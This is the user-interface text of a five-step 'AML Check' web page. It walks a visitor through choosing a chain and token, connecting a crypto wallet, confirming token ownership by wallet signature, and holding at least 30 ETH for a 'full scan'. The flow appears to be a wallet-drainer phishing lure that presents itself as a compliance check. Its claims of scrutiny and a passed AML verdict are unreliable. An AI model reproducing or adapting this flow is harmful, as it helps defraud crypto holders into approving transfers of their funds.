AML Check
Select chain
Step 1 of 5
To continue, please select the chain
Select token
Step 2 of 5
To continue, please select the token
USDT
USDC
TUSD
DAI
WBTC
Connect wallet
Step 3 of 5
To continue, select and connect your wallet
USDT in Ethereum
The selected asset
Metamask
Trust Wallet
Coinbase
WalletConnect
Something went wrong, please try submitting the request again or
refresh the page and reconnect your wallet
Confirmation
Step 4 of 5
Confirm ownership of your tokens using wallet
USDT in Ethereum
The selected asset
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Check in process
Step 5 of 5
We scrutinize your wallet thoroughly
Check failed
Step 4 of 5
We scrutinize your wallet thoroughly
You don’t have at least 30 ETH in your balance for a full scan.
Refill your wallet and try again
Check failed
Step 5 of 5
We scrutinize your wallet thoroughly
Transaction failed or user declined request.
Token ownership confirmation was not completed. Please confirm your token ownership and try again.
Your wallet has successfully passed the Anti-Money Laundering (AML) check.
To view the detailed results of the check, simply click the button below to download the report in PDF format.